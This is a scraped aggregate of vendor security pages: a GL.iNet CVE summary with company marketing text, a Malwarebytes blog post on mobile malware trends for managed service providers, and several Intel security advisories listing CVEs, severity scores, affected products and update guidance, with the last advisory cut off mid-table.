An issue was discovered on GL.iNet devices before 3.216. Through the software installation feature, it is possible to install arbitrary software, such as a reverse shell, because the restrictions on the available package list are limited to client-side verification. It is possible to install software from the filesystem, the package list, or a URL.

**Inspiring a Smarter Lifestyle for Families and Enterprises Across the World.**

GL.iNet is a leading developer of OpenWrt Wi-Fi and IoT Network Solutions. We build Wi-Fi routers, IoT gateways and remote device management platforms for a wide range of scenarios. We believe all successful businesses build upon a strong and secure foundation, which is why our engineers are passionate about understanding your needs and utilizing their expertise to tailor reliable and secure network architecture that solve your problems.

**Explore GL.iNet Products in Different Fields**

Our engineers work hard to create top-of-the-line manufacturing solutions for your customized needs

  

**GoodCloud**

Device Management, data collection, processing and visualization of your IoT project

LEARN MORE

  

**Internet of Things**

Gateway-to-Cloud IoT Solution

LEARN MORE

  

**Site-to-Site**

Remote access to your internal business network securely

LEARN MORE

  

**White Label Service**

Customize networking devices and software on demand

LEARN MORE

  

**Wi-Fi Coverage**

Build Smart Wireless Networks

LEARN MORE

**In the news**

We are proud that others have found our products as interesting and exciting as we do.

CVE-2023-31471: Homepage

Categories: Business
How MSPs can prepare for the complex landscape of mobile malware.



(Read more...)




The post Navigating mobile malware trends: Crucial insights and predictions for MSPs  appeared first on Malwarebytes Labs.

Whether a company gives them out or they're owned by the employees or students, mobile devices are like honey for cybercriminals. And the kicker? Most of these devices are not protected enough.

Just check out the following stats from last year:

*   **18 percent of clicked phishing emails** in 2022 came from a mobile device. (Verizon Mobile Security Index 2022)
*   **46 percent of organizations** that had suffered a mobile-related security breach in 2022 said that app threats were a contributing factor. (Verizon Mobile Security Index 2022)
*   9 percent of organizations **suffered a mobile malware attack in 2022**. (Check Point 2023 Cyber Security Report)

For Managed Service Providers (MSPs), these stats represent more than just figures; they underscore the need for proactive action across their customers’ mobile endpoints.

In this post, we’ll delve into mobile malware trends, gather critical insights, and anticipate future scenarios to prepare MSPs for the complex landscape of mobile malware.

**Mobile devices: A new security frontier for MSPs****Understanding Android Droppers: A serious threat to mobile devices**

In terms of malware, the most menacing of mobile threats MSPs need to watch out for are Android droppers.

“Mobile Droppers represent the most **‘Trojan’ of all the Trojan Horses**,” said Nathan Collier, Senior Malware Intelligence Analyst at Malwarebytes. “Pretending to be an innocent app, like an app you have to pay for on Google Play found free on a third-party app store, tricks the user to allow \[the malicious dropper\] to enter onto their mobile device.“

Once installed, droppers secretly drop another piece of malware, often more vicious than the dropper itself. This could be any other type of malware, such as HiddenAds or Adware to generate money by ads-per-click. Or even scarier—a backdoor could be placed or a nefarious piece of spyware.

“Droppers can install copies of themselves, and because they can be used to drop software that downloads other malware, they can act as a permanent backdoor into a smartphone.”

According to our 2023 State of Malware Report, droppers accounted for **14 percent of Android detections**.

Examples of recent Android malware

**iOS isn't off the hook**

While it's generally harder for malware to get a foothold on iOS, phishing attacks are still a threat. These scams trick users into visiting malicious websites that masquerade as legitimate ones, usually with the promise of a prize or with a request that users install a bogus security app.

“Another trick is a fake ‘You’re infected’ phishing site to install a fake security app,” Collier said. “Although the app you install, often from the Apple store, may be safe, the scammers still get paid-per-click for redirecting to the app.”

The number of phishing sites targeting mobile has shot up by 50 percent from 2019 to 2021. These scams come in all shapes and sizes, like email, banking, and SMS-based (smishing) threats. Some even try to con users into giving up legit two-factor authentication codes.

These scammers often pretend to be big-name companies like Apple, PayPal, or Amazon, making their scams harder to spot.

**Predicting the future of mobile malware**

Each year, we're seeing more and more mobile malware, and there's little evidence that trend will stop.

“Year over year, we have seen **an increase of mobile malware since its induction**,” said Collier. “As the use of mobile devices increases, so does mobile malware. This is a trend that will continue for the unforeseeable future.”

As an MSP, you need to stay one step ahead of mobile malware to help keep your clients safe. Collier is predicting an uptick in malware and potentially unwanted programs (PUPs) targeting the financial sector.

“This includes fake banking apps to steal online banking credentials, and fake credit loan apps to trick users into entering highly personal information as you would for a loan application,” Collier said. “More specifically, Android/Trojan.Bankbot and Android/PUP.Riskware.FakeCreditLoan.”

Understanding mobile malware trends and being proactive in defending against them is key, but what options are available for comprehensive combined endpoint protection?

**Mobile Device Management (MDM) isn't the solution**

A common misconception that we hear when we talk about mobile endpoint security is that MDM is the solution to all of our mobile malware and phishing woes.

It’s not.

Mobile device management services only secure use of corporate data, but are not designed to counter threats such as malware and phishing on iOS and Android devices.

MSPs should look beyond MDM platforms and toward mobile security products that use a variety of techniques, including behavioral analysis, to detect mobile threats. Some features of a robust mobile threat defense product include:

*   24/7 real-time protection against emerging threats
*   Advanced antivirus, anti-malware, anti-spyware capabilities
*   Malicious app protection
*   App privacy audit
*   Safe web browsing
*   Block ads and ad trackers
*   Filters suspicious fraudulent texts
*   Spam call blocking
*   Malwarebytes makes mobile device security easy

With Malwarebytes Mobile Security for MSPs, you can monitor and protect your clients’ mobile investments from a single pane of glass.

In OneView, our cloud-hosted security platform made for MSPs, all you have to do to get started is activate the endpoint agent for your clients' mobile devices.

From there, you set how your mobile endpoints behave by adding a new policy and selecting Web protection and Ad block for iOS and Behavior protection for ChromeOS and Android.

Once you save this policy, you’re set!

MSPs can easily begin protecting Chromebooks, Android, iPadOS, and iOS devices, guarding against the latest mobile threats such as ransomware, malicious apps, and PUPs.

With real-time protection, your customers can also prevent accidental access to harmful websites, safeguard against malicious apps, block unwanted in-app ads, and enable a secure mobile experience for their employees.

The Malwarebytes Mobile Security app on IOS (left) and Android (right)

The statistics don't lie—phishing and malware pose a big threat to mobile endpoint security in 2023. But with a mobile threat defense solution like Malwarebytes Mobile Security, MSPs can crush threats like these and more. Get a free trial and/or quote below!

**Try MSP Mobile Security**

Navigating mobile malware trends: Crucial insights and predictions for MSPs 

Improper input validation in the BIOS firmware for some Intel(R) Processors may allow a privileged user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**2023.2 IPU – BIOS Advisory**

Intel ID:

INTEL-SA-00807

Advisory Category:

Firmware

Impact of vulnerability:

Escalation of Privilege, Information Disclosure

Severity rating:

HIGH

Original release:

05/09/2023

Last revised:

05/09/2023

**Summary: **

Potential security vulnerabilities in BIOS firmware for some Intel® Processors may allow escalation of privilege and information disclosure.  Intel is releasing firmware updates to mitigate these potential vulnerabilities.

**Vulnerability Details:**

CVEID: CVE-2022-33894

Description: Improper input validation in the BIOS firmware for some Intel(R) Processors may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 7.5 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CVEID: CVE-2022-38087

Description: Exposure of resource to wrong sphere in BIOS firmware for some Intel(R) Processors may allow a privileged user to potentially enable information disclosure via local access.

CVSS Base Score: 4.1 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N

**Affected Products:**

CVE-2022-33894:

**Product Collection**

**Vertical Segment**

**CPU ID**

**Platform ID**

8th Generation Intel® Core™ Processor Family

9th Generation Intel® Core™ Processor Family

Mobile

Desktop

906EA

906EB

906EC

906ED

22

Intel® Xeon® Processor E Family

Server, Workstation

906EA

906ED

22

8th Generation Intel® Core™ Processor Family

Mobile

806EA

C0

8th Generation Intel® Core™ Processors

Mobile, Embedded

806EC

806EB

D0

94

7th Generation Intel® Core™ Processor Family

Desktop

906E9

2A

7th Generation Intel® Core™ Processor Family

Mobile

806E9

806EA

C0

8th Generation Intel® Core™ Processor Family  
10th Generation Intel® Core™ Processor Family

Mobile

806E9

806EC

10

94

10th Generation Intel® Core™ Processor Family

Mobile

Desktop

A0652

A0653

A0655

A0660

A0661

806EC

20

01

22

80

80

07

CVE-2022-38087:

**Product Collection**

**Vertical Segment**

**CPU ID**

**Platform ID**

8th Generation Intel® Core™ Processor Family

10th Generation Intel® Core™ Processor Family

Mobile

806E9

806EC

10  
94

8th Generation Intel® Core™ Processor Family

Mobile

806EA

C0

7th Generation Intel® Core™ Processor Family

Mobile

806E9

C0

8th Generation Intel® Core™ Processor Family

9th Generation Intel® Core™ Processor Family

Mobile  
Desktop

906EA

906EB

906EC

906ED

22

Intel® Xeon® E Processor Family

Desktop,  
Server,  
Workstation

906EA

906ED

22

Intel® Xeon® E processor Family  
7th Generation Intel® Core™ Processor Family

Server  
Desktop

906E9

2A

Intel® Xeon® Scalable Processor Family

Server

50654

B7

8th Generation Intel® Core™ Processors

Mobile

806EB  
806EC

D0  
94

Intel® Xeon® Platinum P-8124, P-8136 processors,  
Intel® Xeon® Scalable processor Family

Server

50653  
50654

97  
B7

Intel® Xeon® D processor Family,  
Intel® Xeon® W processor Family

Server,  
Desktop

50654

B7

**Recommendations:**

Intel recommends updating to the latest versions linked in the Intel IPU 2023.2 Update Guidance document.  Availability dates will be updated regularly and can be found in the 2023.2 IPU Update Guidance tab.

**Acknowledgements:**

Intel would like to thank Yngweijw (Jiawei Yin) (CVE-2022-33894) and the Binarly efiXplorer team (CVE-2022-38087) for reporting these issues.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

05/09/2023

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2022-33894: INTEL-SA-00807

Insecure inherited permissions in the Intel(R) NUC Software Studio Service installer before version 1.17.38.0 may allow an authenticated user to potentially enable escalation of privilege via local access

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel® NUC Software Studio Service Installer Advisory**

**Summary: **

A potential security vulnerability in the Intel® NUC Software Studio Service installer may allow escalation of privilege. Intel is releasing software updates to mitigate this potential vulnerability.

**Vulnerability Details:**

CVEID: CVE-2022-38103

Description: Insecure inherited permissions in the Intel(R) NUC Software Studio Service installer before version 1.17.38.0 may allow an authenticated user to potentially enable escalation of privilege via local access

CVSS Base Score:  6.7 Medium

CVSS Vector:  CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

**Affected Products:**

Intel® NUC Software Studio Service before version 1.17.38.0.

**Recommendations:**

Intel recommends updating the Intel® NUC Software Studio Service to version 1.17.38.0 or later.

Updates are available for download at this location:

https://www.intel.com/content/www/us/en/download/19691/intel-nuc-software-studioservice.html?wapkw=service

**Acknowledgements:**

Intel would like to thank Aobo Wang for reporting this issue.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

05/09/2023

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2022-38103: INTEL-SA-00854

Uncontrolled search path in some Intel(R) NUC Chaco Canyon BIOS update software before version iFlashV Windows 5.13.00.2105 may allow an authenticated user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel® NUC BIOS Update Software Advisory**

**Summary: **

A potential security vulnerability in some Intel® NUC Chaco Canyon BIOS update software may allow escalation of privilege. Intel is releasing software updates to mitigate this potential vulnerability.

**Vulnerability Details:**

CVEID: CVE-2022-38101

Description: Uncontrolled search path in some Intel(R) NUC Chaco Canyon BIOS update software before version iFlashV Windows 5.13.00.2105 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 6.7 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

**Affected Products:**

Intel® NUC 8 Rugged Kit NUC8CCHKR.

Intel® NUC Board NUC8CCHB.

**Recommendations:**

Intel recommends updating Intel® NUC Chaco Canyon BIOS update software to version iFlashV Windows 5.13.00.2105 or later.

Updates are available for download at these locations:

https://downloadmirror.intel.com/646815/iFlashV.zip

https://www.intel.com/content/www/us/en/download/19504

**Acknowledgements:**

Intel would like to thank Amin for reporting this issue.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

05/09/2023

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2022-38101: INTEL-SA-00780

Improper input validation in the Intel(R) Retail Edge Mobile Android application before version 3.0.301126-RELEASE may allow an authenticated user to potentially enable denial of service via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel® Retail Edge Mobile App Advisory**

Intel ID:

INTEL-SA-00847

Advisory Category:

Software

Impact of vulnerability:

Escalation of Privilege, Denial of Service, Information Disclosure

Severity rating:

HIGH

Original release:

05/09/2023

Last revised:

05/09/2023

**Summary: **

Potential security vulnerabilities in the Intel® Retail Edge Mobile application may allow escalation of privilege, denial of service or information disclosure. Intel is releasing software updates to mitigate these potential vulnerabilities.

**Vulnerability Details:**

CVEID: CVE-2022-41690

Description: Improper access control in the Intel(R) Retail Edge Mobile iOS application before version 3.4.7 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 7.1 High

CVSS Vector:  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

CVEID: CVE-2023-25772

Description: Improper input validation in the Intel(R) Retail Edge Mobile Android application before version 3.0.301126-RELEASE may allow an authenticated user to potentially enable denial of service via local access.

CVSS Base Score: 5.0 Medium

CVSS Vector:  CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H

CVEID: CVE-2022-46279

Description: Improper access control in the Intel(R) Retail Edge android application before version 3.0.301126-RELEASE may allow an authenticated user to potentially enable information disclosure via local access.

CVSS Base Score: 5.0 Medium

CVSS Vector:  CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

**Affected Products:**

Intel® Retail Edge Mobile iOS application before version IREP App iOS 3.4.7.

Intel® Retail Edge Mobile android application before version 3.0.301145-RELEASE.

**Recommendations:**

Intel recommends updating the Intel® Retail Edge Mobile (IREP) iOS application to version 3.4.7 or later.

Updates are available for download at this location:

https://apps.apple.com/us/app/intel-retail-edge-program/id787231790

Intel recommends updating the Intel® Retail Edge Mobile android application to version 3.0.301145-RELEASE or later.

Updates are available for download at this location:

https://play.google.com/store/apps/details?id=com.phonegap.IREPMobile&hl=en\_US&gl=US

**Acknowledgements:**

Intel would like to thank Sheikhrishad (CVE-2022-41690, CVE-2022-25772 and CVE-2022-46279) for reporting these issues.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

05/09/2023

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-25772: INTEL-SA-00847

Improper access control for some Intel(R) NUC BIOS firmware may allow a privileged user to potentially enable denial of service via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel ® NUC BIOS Firmware Advisory**

Intel ID:

INTEL-SA-00777

Advisory Category:

Firmware

Impact of vulnerability:

Escalation of Privilege, Denial of Service, Information Disclosure

Severity rating:

HIGH

Original release:

05/09/2023

Last revised:

05/09/2023

**Summary:**

Potential security vulnerabilities in some Intel® NUC firmware may allow escalation of privilege, denial of service or information disclosure.  Intel is releasing firmware updates to mitigate these potential vulnerabilities.

**Vulnerability Details:**

CVEID: CVE-2022-36339

Description: Improper input validation in firmware for Intel(R) NUC 8 Compute Element, Intel(R) NUC 11 Compute Element, Intel(R) NUC 12 Compute Element may allow a privileged user to enable escalation of privilege via local access.

CVSS Base Score: 7.5 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CVEID: CVE-2022-34147

Description: Improper input validation in BIOS firmware for some Intel(R) NUC 9 Extreme Laptop Kits, Intel(R) NUC Performance Kits, Intel(R) NUC Performance Mini PC, Intel(R) NUC 8 Compute Element, Intel(R) NUC Pro Kit, Intel(R) NUC Pro Board, and Intel(R) NUC Compute Element may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 7.5 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CVEID: CVE-2022-28699

Description: Improper input validation for some Intel(R) NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 7.5 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CVEID: CVE-2023-22312

Description: Improper access control for some Intel(R) NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 7.2 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H

CVEID: CVE-2022-32766

Description: Improper input validation for some Intel(R) BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 7.2 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N

CVEID: CVE-2022-37327

Description: Improper input validation in BIOS firmware for Intel(R) NUC, Intel(R) NUC Performance Kit, Intel(R) NUC Performance Mini PC, Intel(R) NUC 8 Compute Element, Intel(R) NUC Pro Kit, Intel(R) NUC Pro Board, Intel(R) NUC 11 Compute Element, Intel(R) NUC 12 Compute Element, Intel(R) NUC Extreme, Intel(R) NUC 12 Extreme Compute Element, Intel(R) NUC Laptop Kit, Intel(R) NUC Enthusiast, Intel(R) NUC Essential, Intel(R) NUC Laptop Kit, Intel(R) NUC Extreme Compute Element, Intel(R) NUC Boards, Intel(R) NUC Pro Compute Element, Intel(R) NUC Rugged may allow a privileged user to enable information disclosure via local access.

CVSS Base Score: 6.1 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N

CVEID: CVE-2023-25771

Description: Improper access control for some Intel(R) NUC BIOS firmware may allow a privileged user to potentially enable denial of service via local access.

CVSS Base Score: 5.8 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:H

CVEID: CVE-2022-32582

Description: Improper access control in firmware for some Intel(R) NUC Boards, Intel(R) NUC 11 Performance Kit, Intel(R) NUC 11 Performance Mini PC, Intel(R) NUC Pro Compute Element may allow a privileged user to potentially enable denial of service via local access.

CVSS Base Score: 5.3 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:N/I:N/A:H

CVEID: CVE-2022-31477

Description: Improper initialization for some Intel(R) NUC BIOS firmware may allow a privileged user to potentially enable information disclosure via local access.

CVSS Base Score: 4.0 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N

CVEID: CVE-2022-32577

Description: Improper input validation in BIOS Firmware for some Intel(R) NUC Kits before version PY0081 may allow a privileged user to potentially enable information disclosure or denial of service via local access

CVSS Base Score: 3.4 Low

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

**Affected Products:**

**Product**

**Download Link**

**CVE ID**

**Intel® NUC 9 Extreme Laptop Kits:  
**LAPQC71A, LAPQC71B, LAPQC71C, LAPQC71D

QCCFL357.0158

CVE-2022-34147

**Intel® NUC Performance Kit, Intel® NUC Performance Mini PC:**

NUC10i3FNH, NUC10i3FNHF, NUC10i3FNHFA, NUC10i3FNHJA, NUC10i3FNHN, NUC10i3FNK, NUC10i3FNKN, NUC10i5FNH, NUC10i5FNHCA, NUC10i5FNHF, NUC10i5FNHJA, NUC10i5FNHJ, NUC10i5FNHN, NUC10i5FNK, NUC10i5FNKN, NUC10i5FNKPA, NUC10i5FNKP, NUC10i7FNH, NUC10i7FNHAA, NUC10i7FNHC, NUC10i7FNHJA, NUC10i7FNHN, NUC10i7FNK, NUC10i7FNKN, NUC10i7FNKP, NUC10i7FNKPA

FNCML357.0059

CVE-2022-34147  
CVE-2022-37327

**Intel® NUC 8 Compute Element:**

CM8i3CB4N, CM8i5CB8N, CM8i7CB8N, CM8CCB4R, CM8PCB4R

CBWHL357.0101

CVE-2022-34147  
CVE-2022-36339  
CVE-2022-37327  
CVE-2023-25771

**Intel® NUC Pro Kit, Intel NUC Pro Board:**

NUC8i3PNB, NUC8i3PNH, NUC8i3PNK

PNWHL357.0050

CVE-2022-34147  
CVE-2022-37327  
CVE-2023-25771

**Intel® NUC Extreme Kit, Intel NUC Compute Element:**

NUC9i5QN, NUC9i7QN, NUC9i9QN

QXCFL579.0071

CVE-2022-34147

**Intel® NUC 11 Performance Kit, Intel NUC 11 Performance Mini PC:**

NUC11PAHi3, NUC11PAHi30Z, NUC11PAKi3, NUC11PAHi5, NUC11PAHi50Z, NUC11PAKi5, NUC11PAQi50WA, NUC11PAHi7, NUC11PAHi70Z, NUC11PAKi7, NUC11PAQi70QA

PATGL357.0050

CVE-2022-32582  
CVE-2023-22312  
CVE-2022-31477

**Intel® NUC 11 Compute Element:**

CM11EBi38W, CM11EBi58W, CM11EBi716W, CM11EBC4W

EBTGL357.0071

CVE-2022-36339  
CVE-2022-37327  
CVE-2023-22312  
CVE-2022-31477

**Intel® NUC Kit:**

NUC5CPYH, NUC5PGYH, NUC5PPYH

PYBSWCEL.0081

CVE-2022-32577

**Intel® NUC 12 Compute Element:**

ELM12HBi3, ELM12HBi5, ELM12HBi7, ELM12HBC

HBADL357.0052

CVE-2022-36339  
CVE-2022-37327

**Intel® NUC Extreme, Intel® NUC 12 Extreme Compute Element**:

